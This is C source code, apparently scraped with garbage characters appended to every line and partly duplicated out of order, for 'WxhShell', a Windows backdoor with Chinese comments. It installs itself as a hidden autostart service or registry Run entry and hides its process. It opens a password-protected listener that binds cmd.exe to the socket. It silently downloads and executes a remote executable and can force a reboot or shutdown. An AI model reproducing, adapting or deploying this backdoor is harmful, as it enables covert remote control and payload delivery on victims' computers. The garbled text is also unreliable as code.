    if(Boot(SHUTDOWN)) L{hnU7sY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {7$c8i  
    else { R#2t)y  
    closesocket(wsh); 2W/?q!t  
    ExitThread(0); .C&ktU4  
    } U'R)x";=  
    break; KHgBo}6  
    } ]Bm/eRy"  
  // 获取shell y$@ZN~8  
  case 's': { &GlwC%$S  
    CmdShell(wsh); G>wqt@%r9  
    closesocket(wsh); %K\?E98M  
    ExitThread(0); V>ieh2G(  
    break; /x5rf  
  } !'mq ?C=  
  // 退出 kBYNf =  
  case 'x': { )6+eNsxMlC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3T"j)R_=l  
    CloseIt(wsh); {jYOs l  
    break; 5D_fXfx_|  
    } BB~OqZIP  
  // 离开 iTag+G4*  
  case 'q': { JS*m65e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3E>frR\!I  
    closesocket(wsh); zY|t0H  
    WSACleanup(); eU<]o< \Qo  
    exit(1); HRiL.DS  
    break; EGZb7:Y?  
        } 'h^0HE\~p  
  } T9]HGB{  
  } E_8\f_%wK  
qQ"Fv|]~>  
  // 提示信息 jFA{+Yr1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t?9v^vFR  
} wvbPnf^y  
  } AgFVv5  
<5NF;  
  return; *M$0J'-BQ  
} =,Dqqf  
d!:6[7X6  
// shell模块句柄 <^zHE=h"  
int CmdShell(SOCKET sock) HYD"#m'TkB  
{ WHjUR0NZ  
STARTUPINFO si; R}lsnX<  
ZeroMemory(&si,sizeof(si)); [P 06lIO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w9, iq@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2 !At2P2  
PROCESS_INFORMATION ProcessInfo; VUhbD  
char cmdline[]="cmd"; SQqD:{#g"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Iz ;G*W18  
  return 0; Yc,7tUz#  
} Y7vA`kjD-C  
Sh?4r i@:  
// 自身启动模式 _cc#Qlw 7  
int StartFromService(void) (cN}Epi(D  
{ c05%iv  
typedef struct rk7QZVE  
{ R,|d`)T  
  DWORD ExitStatus; G(~;]xNW+  
  DWORD PebBaseAddress; r8,romE$  
  DWORD AffinityMask; U7I qST  
  DWORD BasePriority; x\J#]d.  
  ULONG UniqueProcessId; /\H>y  
  ULONG InheritedFromUniqueProcessId; LE*h9((  
}   PROCESS_BASIC_INFORMATION; aj?a^}X  
'JNElXqrv  
PROCNTQSIP NtQueryInformationProcess; {W]=~*w  
]79:yMD~ba  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ox%9Ph  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N_pJk2E  
1qf!DMcdZ  
  HANDLE             hProcess; ^_ kJKM,  
  PROCESS_BASIC_INFORMATION pbi; 4H|(c[K;  
xj[(P$,P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xia|+  
  if(NULL == hInst ) return 0; ap{2$k ,  
O9g{+e`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \[jq4`\$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D5:{fWVsV/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ay !G1;  
*Mw_0Y  
  if (!NtQueryInformationProcess) return 0; 9:e YU =  
~t^eiyv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jK' N((Hz  
  if(!hProcess) return 0; ^D<r  
Ur5FC r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  +QE^\a  
e'=MQ,EWd  
  CloseHandle(hProcess); C-Ht(x|  
zkO<-w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ] Puy!Q  
if(hProcess==NULL) return 0; bd<m%OM""  
&NSY9'N,  
HMODULE hMod; A0fFv+RN3  
char procName[255]; (sQr X{~  
unsigned long cbNeeded; I(9R~q  
"h|'}7p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !w H'b  
'w14sr%  
  CloseHandle(hProcess); 1*dRK6  
7{xh8#m  
if(strstr(procName,"services")) return 1; // 以服务启动 k<cgO[m   
g7&9"  
  return 0; // 注册表启动 E=cwq"  
} ;s~X  
 :<Fe  
// 主模块 =L C:SFzF  
int StartWxhshell(LPSTR lpCmdLine) 5* 0y7K/D  
{ ZvUC I8  
  SOCKET wsl; Y& F=t/U2  
BOOL val=TRUE; &`fhEN  
  int port=0; {&"L~>/o  
  struct sockaddr_in door; (I@rLvZr{  
bO&7-Z~:=  
  if(wscfg.ws_autoins) Install(); ua OKv.%  
on8WQf'A#  
port=atoi(lpCmdLine);  y2+p1  
^mb[j`CCt  
if(port<=0) port=wscfg.ws_port; a&k_=/X&  
AQc,>{Lm  
  WSADATA data; Y2O"]phi@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jZ%TJ0(H  
\tRG1&{$%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e#B#B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rvyr xw%[  
  door.sin_family = AF_INET; NNF>Xa`9,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e{KByFl  
  door.sin_port = htons(port); _ z;q9&J)  
F {B\kq8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +z9gbcx  
closesocket(wsl); 7#~+@'Oe  
return 1; l9Q(xuhv  
} j+^oz'q  
N |1>ooU[  
  if(listen(wsl,2) == INVALID_SOCKET) { OKHX)"j\\  
closesocket(wsl); Ed:eGm }  
return 1; 0x9x@gF  
} iA,kX\nK  
  Wxhshell(wsl); >OP+^^oZ<  
  WSACleanup(); f"( X(1F  
c5Q<$86  
return 0; jM&r{^(  
E( h<$w8s  
} TI !a)X  
|TE}`?y[g  
// 以NT服务方式启动 gh>>Ibf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1lsLJ4P  
{ C_ \q?>  
DWORD   status = 0; 3&x-}y~sg  
  DWORD   specificError = 0xfffffff; af |5n><~A  
]7Fs$y.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NO] 3*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; < Z|Ep1W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oxj3[</'k  
  serviceStatus.dwWin32ExitCode     = 0; a"av#Y  
  serviceStatus.dwServiceSpecificExitCode = 0; (n1Bh~R^  
  serviceStatus.dwCheckPoint       = 0; = 0- $W5E  
  serviceStatus.dwWaitHint       = 0; U;n*j3wT  
r|*&GHo L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ql GW.jY.  
  if (hServiceStatusHandle==0) return; jAh2N3)  
1.D-FPK  
status = GetLastError(); Lw'9  
  if (status!=NO_ERROR) bT6sb#"W  
{ )XfzLF7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HAYMX:%  
    serviceStatus.dwCheckPoint       = 0; Jjl%R[mI  
    serviceStatus.dwWaitHint       = 0; DOz\n|8S  
    serviceStatus.dwWin32ExitCode     = status; ~w</!s  
    serviceStatus.dwServiceSpecificExitCode = specificError; HK)cKzG[s!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {T'GQz+R"  
    return; KI]wm  
  } ZvGgmLN  
UA~RK2k?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {"vkji>  
  serviceStatus.dwCheckPoint       = 0; W- $a Y2  
  serviceStatus.dwWaitHint       = 0; 5/QRL\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cE iu)2*e  
} WU4UZpz  
\ j.x0/;  
// 处理NT服务事件,比如:启动、停止 S?{ /hy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .d?%;2*{q  
{ `mH %!{P  
switch(fdwControl) ICB~_O5  
{ 0GDvwy D1  
case SERVICE_CONTROL_STOP: 3u>8\|8wz  
  serviceStatus.dwWin32ExitCode = 0; h7X_S4p/Mg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1ZJQs6  
  serviceStatus.dwCheckPoint   = 0; N 4K8 u'f^  
  serviceStatus.dwWaitHint     = 0; ^+SkCO  
  { PS S?|Vk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'O6]0l  
  } O8U<{jgAG  
  return; !TAp+b  
case SERVICE_CONTROL_PAUSE: as+GbstN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $3X-r jQtW  
  break; O|cu.u|  
case SERVICE_CONTROL_CONTINUE: %~NH0oFO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZAuWx@}  
  break; qpJ{2Q  
case SERVICE_CONTROL_INTERROGATE: t!1$$e?`r  
  break; 7*wVI+  
}; rg_Q"g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "Dy'Kd%,%/  
} N:VX!w  
W YW|P2*  
// 标准应用程序主函数 o$.e^XL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x\s,= n3z  
{ pWE`x|J  
6O2=Ns;J6  
// 获取操作系统版本 7:NmCpgL!  
OsIsNt=GetOsVer(); RQW6N??C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5~XN>>hp  
":Edu,6O  
  // 从命令行安装 Lh$dzHq  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~Z$bf>[(R7  
rSP_:}  
  // 下载执行文件 ?R Fg$Z'^  
if(wscfg.ws_downexe) { K:y^OAZfV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7?"y{R>E  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3}1ssU"T  
} 1on'^8]0  
s|bM%!$1  
if(!OsIsNt) { ~F, &GH  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,}D}oo*  
HideProc(); Uf*EJ1Ei  
StartWxhshell(lpCmdLine); n,M)oo1G  
} ^4v*W;Q  
else T_<BVM  
  if(StartFromService()) c:M$m3Cs?  
  // 以服务方式启动 % 0:p)Z0  
  StartServiceCtrlDispatcher(DispatchTable); 7yI @"c#O  
else ps:f=6m2  
  // 普通方式启动 P`1EPF  
  StartWxhshell(lpCmdLine); _DPOyR2  
 PWgDFL?  
return 0; smAC,-6 ]~  
} ^a9 oKI9n  
^ons:$0h  
w8~K/>!f  
j%Y\A~DV  
=========================================== BRG|Asg(  
Ek.&Sf$cd'  
B`#h{)[  
$<)Yyi>6E  
&[|VZ[  
mjnUs-`W|  
" HO|-@yOF^  
xcCl (M]+  
#include <stdio.h> I12KT~z<r  
#include <string.h> {#Q\z>  
#include <windows.h> farDaS[\VY  
#include <winsock2.h> ://U^sFL  
#include <winsvc.h> +zOOdSFk.  
#include <urlmon.h> {GqXP0'  
zz$q5[n  
#pragma comment (lib, "Ws2_32.lib") &;q<M_<  
#pragma comment (lib, "urlmon.lib") eQX`,9:5  
,35&G"JK5  
#define MAX_USER   100 // 最大客户端连接数 @y~P&HUN  
#define BUF_SOCK   200 // sock buffer Yig0/ "  
#define KEY_BUFF   255 // 输入 buffer MXAEX2xmme  
&w~Xa( uu  
#define REBOOT     0   // 重启 73NZ:h%=  
#define SHUTDOWN   1   // 关机 FY;+PY@I{  
>X Qv?5  
#define DEF_PORT   5000 // 监听端口 mU{4g`Iw  
Nofu7xiDw[  
#define REG_LEN     16   // 注册表键长度 ?H;{~n?  
#define SVC_LEN     80   // NT服务名长度 "4}wnu6/  
zDBD.5R;  
// 从dll定义API :pKG\A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o#i ]"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f$xhb3Qn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0~E 6QhV:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KHj6Tg;)  
6!7Pm>ml  
// wxhshell配置信息 +$beo2x6  
struct WSCFG { I ,FqN}  
  int ws_port;         // 监听端口 M[Y4_$k<-  
  char ws_passstr[REG_LEN]; // 口令 <4?*$  
  int ws_autoins;       // 安装标记, 1=yes 0=no }~enEZ  
  char ws_regname[REG_LEN]; // 注册表键名 %JoxYy-  
  char ws_svcname[REG_LEN]; // 服务名 Xza4iV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w{7 ji}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )@ PnTpL*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0g(6r-2)7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F$6? t.@J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eO4)|tW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !ng\` |8?  
j]> uZalr  
}; d?Y-;-|8Qh  
B%b_/F]e  
// default Wxhshell configuration fNhT;Bux  
struct WSCFG wscfg={DEF_PORT, c;V D}UD'  
    "xuhuanlingzhe", P1d,8~;  
    1, 03E3cp"  
    "Wxhshell", C!UEXj`l9  
    "Wxhshell", 1MQ/ r*(  
            "WxhShell Service", D zDj)7  
    "Wrsky Windows CmdShell Service", 1$["79k  
    "Please Input Your Password: ", _`aR_ %Gx  
  1, L{PH0Jf  
  "http://www.wrsky.com/wxhshell.exe", hLA;Bl  
  "Wxhshell.exe" m6so]xr  
    }; )A83A<~  
#MM &BC  
// 消息定义模块 =P_fv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zO2{.4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; STT2o=   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XJFnih  
char *msg_ws_ext="\n\rExit."; E%*AXkJ'dZ  
char *msg_ws_end="\n\rQuit."; dq 8+m(7k  
char *msg_ws_boot="\n\rReboot..."; ~/c5 hyTx  
char *msg_ws_poff="\n\rShutdown..."; ~zMKVM1Q.,  
char *msg_ws_down="\n\rSave to "; @ M[Q$:  
PNmF}"  
char *msg_ws_err="\n\rErr!"; #S?c ;3-  
char *msg_ws_ok="\n\rOK!"; 'Oy5e@G+?  
rt.[,m  
char ExeFile[MAX_PATH]; {E~l>Z88  
int nUser = 0; syFI$rf _  
HANDLE handles[MAX_USER]; )fCMITq.|  
int OsIsNt; f'_ S1\  
\!PV*%P  
SERVICE_STATUS       serviceStatus; (t74a E pi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8kbBz  
Y +qus  
// 函数声明 qc-C>Ra  
int Install(void); |BJqy/  
int Uninstall(void); x(6vh2#vD  
int DownloadFile(char *sURL, SOCKET wsh);  1~EO+  
int Boot(int flag); <JH9StGGc?  
void HideProc(void); cdp{W  
int GetOsVer(void); YX `%A6  
int Wxhshell(SOCKET wsl); W?PWJkIw  
void TalkWithClient(void *cs); hT=f;6$  
int CmdShell(SOCKET sock); *f*f&l%  
int StartFromService(void); !rHx}n{rw  
int StartWxhshell(LPSTR lpCmdLine); TolrEcI  
9Z9l:}bO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .\4l'THn,0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K{FhT9R'  
Z!)f*  
// 数据结构和表定义 rIPl6,w~  
SERVICE_TABLE_ENTRY DispatchTable[] = `r.N  
{ ?d,M.o{0]  
{wscfg.ws_svcname, NTServiceMain}, 5 ZUy:  
{NULL, NULL} 6 5"uD7;  
}; R\ q):,  
{c?ymkK  
// 自我安装 X8.y4{5  
int Install(void) d"l}Ny)C  
{ y{;u@o?T  
  char svExeFile[MAX_PATH]; KDaN-r^{%  
  HKEY key; /fC\K_<N  
  strcpy(svExeFile,ExeFile); MBv/  
LH.%\TMN$  
// 如果是win9x系统,修改注册表设为自启动 i0i`k^bA  
if(!OsIsNt) { .' IeHh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q %y,;N"ro  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rBD2Si=  
  RegCloseKey(key); UhA_1A'B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w%I8CU_}.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |P~q/Wff  
  RegCloseKey(key); 777rE[\@b  
  return 0; EFv4=OWB  
    } :'ihE\j  
  } u m{e&5jk  
} Xiw@  
else { 64b<0;~  
ze$Y=<S  
// 如果是NT以上系统,安装为系统服务 e9}8RHy1$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W%H]Uyt  
if (schSCManager!=0) iGQ n/Xdo  
{ BWohMT  
  SC_HANDLE schService = CreateService {)uU6z {'  
  ( |87W*  
  schSCManager, ,aYU$~o#  
  wscfg.ws_svcname, E7gL~4I  
  wscfg.ws_svcdisp, ,-!2 5G  
  SERVICE_ALL_ACCESS, ^Bn1;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =lm nzu<  
  SERVICE_AUTO_START, @Z"?^2  
  SERVICE_ERROR_NORMAL, iU,/!IQ  
  svExeFile, _4Ii5CNNU  
  NULL, l)%mqW%  
  NULL, T&!ZD2I  
  NULL, M.t@@wq  
  NULL, z2ds8-z  
  NULL pbFYiu+  
  ); e-jw^   
  if (schService!=0) " C&x ,Ic  
  { IF^[^^v+H  
  CloseServiceHandle(schService); dGa@<hg  
  CloseServiceHandle(schSCManager); %/X2 l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }oV3EIH  
  strcat(svExeFile,wscfg.ws_svcname); M-vC>u3Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bbO+%-(X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dUZ$wbV%h  
  RegCloseKey(key); iW":DOdi_  
  return 0; Qz# 3p3N?  
    } s ?5 d  
  } nc- Qz  
  CloseServiceHandle(schSCManager); a\>+=mua  
} YI/{TL8*KK  
} 22PGWSQ  
wJ/ ~q)  
return 1; G IK u  
} QT7_x`#J~o  
VmMh+)UZ  
// 自我卸载 htQ;m)>J:  
int Uninstall(void) =P)"NP7f'  
{ ]|t9B/()i  
  HKEY key; /^~p~HKtx  
-S`TEX  
if(!OsIsNt) { E}Ljo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *-{Omqw  
  RegDeleteValue(key,wscfg.ws_regname); BU'Ki \  
  RegCloseKey(key); f<^ScFVR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P`z7@9*j  
  RegDeleteValue(key,wscfg.ws_regname); (2cGHYU3N<  
  RegCloseKey(key); ktU9LW~  
  return 0; n}+wd9J*!2  
  } ?-4OfGN  
} 2$iw/ r  
} QZ#3Bn%B5  
else { :l4^iSf  
ysL0hwir  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ia=&.,xub  
if (schSCManager!=0) 4 iik5  
{ [2=^C=52  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <xXiJU+  
  if (schService!=0) *h>OW  
  { /j$$0F>s7  
  if(DeleteService(schService)!=0) { b_q! >&c  
  CloseServiceHandle(schService); tsB.oDMP  
  CloseServiceHandle(schSCManager); $#F;xys  
  return 0; z9I1RX V  
  } :fl*w""V@  
  CloseServiceHandle(schService); md.*  
  } }R4(B2vup  
  CloseServiceHandle(schSCManager); m2jwqx{G  
} "$# $f  
} :O5Tr03z  
G[ ,,L  
return 1; ?Ozk^#H[  
} i:MlD5 F  
l kI8 {  
// 从指定url下载文件 [^h/(a`  
int DownloadFile(char *sURL, SOCKET wsh) 5dbX%e_OP  
{ D7 %^Ly  
  HRESULT hr; hgF21Oj9  
char seps[]= "/"; \ x3^  
char *token; IiG4ib>)W  
char *file; @>d&5}F_>{  
char myURL[MAX_PATH]; pZyb  
char myFILE[MAX_PATH]; ~3LhcU-  
c& 9+/JYMo  
strcpy(myURL,sURL); FEge+`{,  
  token=strtok(myURL,seps); 'SsPx&)l  
  while(token!=NULL) P9 W<gIO  
  { S~]8K8"sT  
    file=token; n P0Ziu'{  
  token=strtok(NULL,seps); C~3@M<X  
  } a.5zdoH_  
E|KLK4 ]  
GetCurrentDirectory(MAX_PATH,myFILE); BnY\FQ)K  
strcat(myFILE, "\\"); V5hp Y ]  
strcat(myFILE, file); 95_[r$C  
  send(wsh,myFILE,strlen(myFILE),0); 46QYXmNQ}  
send(wsh,"...",3,0); J[I"/sdk-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,ivWVsN*]  
  if(hr==S_OK) t't^E,E .@  
return 0; v'mJ~tz  
else f(EYx)gZ  
return 1; s^{{@O.  
3Yn:fsy  
} DW'0j$;  
"~ .8eKRQ  
// 系统电源模块 }Bv30V2-(  
int Boot(int flag) I^rZgp<'i  
{ Fm-q=3  
  HANDLE hToken; sDz)_;;%  
  TOKEN_PRIVILEGES tkp; r4]hS`X~%  
mtiO7w"M\7  
  if(OsIsNt) { ' lQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3j[w -Lfp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e<ism?WG  
    tkp.PrivilegeCount = 1; (h'$3~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [wXwKr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /6Jy'"+'0  
if(flag==REBOOT) { 3G:NZ)p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,"v)vTt  
  return 0; #dxJ#  
} 8`R +y  
else { D}k-2RM2k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '#pMEVP  
  return 0; -(%ar%~Zd  
} p@!@^1j=  
  } X#f+m) S  
  else { .=et{\  
if(flag==REBOOT) { USHlb#*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _E x*%Qf.  
  return 0; Q]2sj:  
} hi4h0\L!}  
else { ;r0|_mnf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U{U:8==  
  return 0; RGx]DP$5G  
} ,6%hu|Y*  
} xPn'yo  
O?4vC5x  
return 1; [F BCz>  
} 5kRwSOG%'  
~%8Q75tn.  
// win9x进程隐藏模块 S4aHce5PXA  
void HideProc(void) 8VAYIxRv  
{ B~ 'VDOG$Z  
Cnc\sMDJ\B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :!Y?j{sGU  
  if ( hKernel != NULL ) Npf7p  
  { ib""Fv7{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Jfixm=.6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~T p8>bmSR  
    FreeLibrary(hKernel); #sm_.?P  
  } !txELA~24  
avbr7X(  
return; "`$'tk[  
} P(YG@  
%M0mwty]  
// 获取操作系统版本 4, *^QK  
int GetOsVer(void) 9qu24zz$P  
{ 44fq1<.K  
  OSVERSIONINFO winfo; LGo@F;!n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5sh u76  
  GetVersionEx(&winfo); h^ecn-PC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5qtmb4R~  
  return 1; 6E\\`FE4y  
  else Jq+$_Uqd  
  return 0; *|gs-<[#X  
} wMPw/a;  
?3"D| cS1  
// 客户端句柄模块 ;MRC~F=  
int Wxhshell(SOCKET wsl) ~=AKX(Q  
{ Sfoy8<j  
  SOCKET wsh; gt t$O  
  struct sockaddr_in client; C +?@iMh  
  DWORD myID; 4gkV]" H!  
#Wc #fP  
  while(nUser<MAX_USER) Wru  Fp  
{ ?m_RU  
  int nSize=sizeof(client); c!u}KVH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |C)UZ4A/p  
  if(wsh==INVALID_SOCKET) return 1; p,AD!~n`  
EDidg"0p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }MavI'  
if(handles[nUser]==0) w[$nO#  
  closesocket(wsh); b\0Q:  
else .dKRIFo  
  nUser++; yL3<X w|  
  } 7U[L\1zS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y1E>T-Ma  
q[|`&6B  
  return 0; 3Llj_lf  
} Zqs-I8y  
a6k(O8Ank3  
// 关闭 socket _9-D3_P[3  
void CloseIt(SOCKET wsh) =u3@ Dhw  
{ Z/05 wB  
closesocket(wsh); 3Gd&=IJ  
nUser--; R,5$ 0_]|+  
ExitThread(0); ox=7N{+`J  
} F)5B[.ce  
!|:q@|- %@  
// 客户端请求句柄 t|U2 ws#  
void TalkWithClient(void *cs) QH' [ (  
{ n\"LN3  
7" STS7_  
  SOCKET wsh=(SOCKET)cs; $H:h(ia:  
  char pwd[SVC_LEN]; `w=H'"Zv  
  char cmd[KEY_BUFF]; dK;\`>8  
char chr[1]; jme5'FR  
int i,j; 3 cW"VrFy9  
,S0~:c:)  
  while (nUser < MAX_USER) { :k )<1ua  
eZod}~J8  
if(wscfg.ws_passstr) { ocuVDC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UrcN?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PUZXmnB  
  //ZeroMemory(pwd,KEY_BUFF); 4d._Hd='  
      i=0;   6[|<  
  while(i<SVC_LEN) { ,f0g|5yDf  
//u76nQ  
  // 设置超时 7(g&z%  
  fd_set FdRead; |UDD/e  
  struct timeval TimeOut; X>GY*XU  
  FD_ZERO(&FdRead); U:4Og8  
  FD_SET(wsh,&FdRead); AUjTcu>i  
  TimeOut.tv_sec=8; YG1`%,OW`  
  TimeOut.tv_usec=0; aLk2#1$g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1gy}E=noP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cYwC,\ uF  
gL}Y5U+s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &aAo:pj  
  pwd=chr[0]; -%V-'X5  
  if(chr[0]==0xd || chr[0]==0xa) { U9fF;[g  
  pwd=0; 4x{ti5Y0  
  break; ODvpMt:+  
  } ^}7t:  
  i++; 7RFkHME  
    } IS 9q 5/]  
p>tdJjnt  
  // 如果是非法用户,关闭 socket ;q&D,4r]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %PdYv _5  
} MVv^KezD  
M@X#[w:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |21hY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RowiSW  
g7LW?Ewr  
while(1) { ,Ve@=<  
RrpF i'R  
  ZeroMemory(cmd,KEY_BUFF); "sx&8H"  
9w<Bm"G  
      // 自动支持客户端 telnet标准   1HWJxV"  
  j=0; j4SG A#;v  
  while(j<KEY_BUFF) { Bt7v[Ot   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 10 H!  
  cmd[j]=chr[0]; k Q(y^tW  
  if(chr[0]==0xa || chr[0]==0xd) { )$4DH:WN  
  cmd[j]=0; ]a|;G  
  break; 7c]Ai  
  } U@5Z9/n{  
  j++; UYrzsUjg&  
    } yi;t  
&FF. Ddt{  
  // 下载文件 ?[B[ F  
  if(strstr(cmd,"http://")) { 2\tjeg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); htrj3$q(4  
  if(DownloadFile(cmd,wsh)) 6SO7iFS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6%INNIyAWa  
  else }Q^a.`h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *>$)#?t  
  } *9(1:N;#  
  else { '0$[Ujc  
}F`2$ Q+CW  
